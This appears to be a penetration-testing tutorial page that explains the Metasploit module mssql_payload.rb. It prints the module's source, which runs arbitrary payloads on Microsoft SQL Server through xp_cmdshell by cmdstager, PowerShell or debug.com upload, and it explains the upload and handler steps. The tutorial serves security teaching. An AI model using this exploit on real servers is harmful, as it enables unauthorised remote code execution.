Creating Our Auxiliary Module a11y.text Creating Our Auxiliary Module Payloads Through MSSQL, an Auxiliary Module a11y.text Payloads Through MSSQL, an Auxiliary Module We will be looking at three different files, they should be relatively familiar from prior sections.

/usr/share/metasploit-framework/lib/msf/core/exploit/mssql_commands.rb

/usr/share/metasploit-framework/lib/msf/core/exploit/mssql.rb

/usr/share/metasploit-framework/modules/exploits/windows/mssql/mssql_payload.rb Lets first take a look at the mssql_payload.rb as to get a better idea at what we will be working with.

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::MSSQL
  include Msf::Exploit::CmdStager
  #include Msf::Exploit::CmdStagerDebugAsm
  #include Msf::Exploit::CmdStagerDebugWrite
  #include Msf::Exploit::CmdStagerTFTP

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft SQL Server Payload Execution',
      'Description'    => %q{
          This module executes an arbitrary payload on a Microsoft SQL Server by using
        the "xp_cmdshell" stored procedure. Currently, three delivery methods are supported.
  First, the original method uses Windows 'debug.com'. File size restrictions are
  avoided by incorporating the debug bypass method presented by SecureStat at
  Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.

  A second method takes advantage of the Command Stager subsystem. This allows using
  various techniques, such as using a TFTP server, to send the executable. By default
  the Command Stager uses 'wcsript.exe' to generate the executable on the target.

  Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
  payload on the target.

  NOTE: This module will leave a payload executable on the target system when the
  attack is finished.
},
'Author'         =>
  [
    'David Kennedy "ReL1K" ',  # original module, debug.exe method, powershell method
    'jduck'  # command stager mods
  ],
'License'        => MSF_LICENSE,
'References'     =>
  [
    # 'sa' password in logs
    [ 'CVE', '2000-0402' ],
    [ 'OSVDB', '557' ],
          [ 'BID', '1281' ],

          # blank default 'sa' password
          [ 'CVE', '2000-1209' ],
          [ 'OSVDB', '15757' ],
          [ 'BID', '4797' ]
        ],
      'Platform'       => 'win',
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'CmdStagerFlavor' => 'vbs',
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 30 2000'
      ))
    register_options(
      [
        OptString.new('METHOD', [ true, 'Which payload delivery method to use (ps, cmd, or old)',
'cmd' ])
      ])
  end

  def check
    if !mssql_login_datastore
    vprint_status("Invalid SQL Server credentials")
    return Exploit::CheckCode::Detected
  end

  mssql_query("select @@version", true)
  if mssql_is_sysadmin
    vprint_good "User #{datastore['USERNAME']} is a sysadmin"
    Exploit::CheckCode::Vulnerable
  else
    Exploit::CheckCode::Safe
  end
ensure
  disconnect
end

# This is method required for the CmdStager to work...
def execute_command(cmd, opts)
  mssql_xpcmdshell(cmd, datastore['VERBOSE'])
end

def exploit

  if !mssql_login_datastore
    print_status("Invalid SQL Server credentials")
    return
  end
```

```
    method = datastore['METHOD'].downcase

    if (method =~ /^cmd/)
      execute_cmdstager({ :linemax => 1500, :nodelete => true })
      #execute_cmdstager({ :linemax => 1500 })
    else
      # Generate the EXE, this is the same no matter what delivery mechanism we use
      exe = generate_payload_exe

      # Use powershell method for payload delivery if specified
      if (method =~ /^ps/) or (method =~ /^power/)
        powershell_upload_exec(exe)
      else
        # Otherwise, fall back to the old way..
        mssql_upload_exec(exe, datastore['VERBOSE'])
      end
    end

    handler
    disconnect
  end
```

end While this file may seem simple, there is actually a lot of going on behind the scenes. Lets break down this file and look at the different sections. Specifically we are calling from the mssql.rb in the lib/msf/core/exploits area. One of the first things that is done in this file is the importation of the Remote class, and inclusion of the MSSQL module. class Metasploit3 > Msf::Exploit::Remote include Msf::Exploit::Remote::MSSQL The reference section simply enumerates additional information concerning the attack or the initial exploit proof of concept. This is where we would find OSVDB references, EDB references and so on. 'References' =>

```
 [
 [ 'OSVDB', '557'],
 [ 'CVE', '2000-0402'],
 [ 'BID', '1281'],
 [ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf'],
```

], The platform section indicates the targetâ€™s platform and version. The following part is the â€˜Targetsâ€™ object, which is where different versions would be enumerated. These lines give the user the ability to select a target prior to an attack. The â€˜DefaultTargetâ€™ value is used when no target is specified when setting up the attack. 'Platform' => 'win',

```
'Targets' =>
 [
 [ 'Automatic', { } ],
],
```

'DefaultTarget' => 0 The â€˜def exploitâ€™ line indicates the beginning of our exploit code. The next declaration is for debugging purposes. Considering there is a lot of information going back and forth, itâ€™s a good idea having this set to â€˜falseâ€™ until itâ€™s needed. debug = false # enable to see the output Moving on to the next line, this is the most complex portion of the entire attack. This one liner here is really multiple lines of code being pulled from mssql.rb .

```
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)
```

mssql_upload_exec (function defined in mssql.rb for uploading an executable through SQL to the underlying operating system) Msf::Util::EXE.to_win32pe(framework,payload.encoded) = create a metasploit payload based off of what you specified, make it an executable and encode it with default encoding debug = call the debug function is it on or off? Lastly the handler will handle the connections from the payload in the background so we can accept a metasploit payload. The disconnect portion of the code ceases the connection from the MSSQL server. Now that we have walked through this portion, we will break down the next section in the mssql.rb to find out exactly what this attack was doing. Next The Guts Behind an Auxiliary Module Prev Payloads Through MSSQL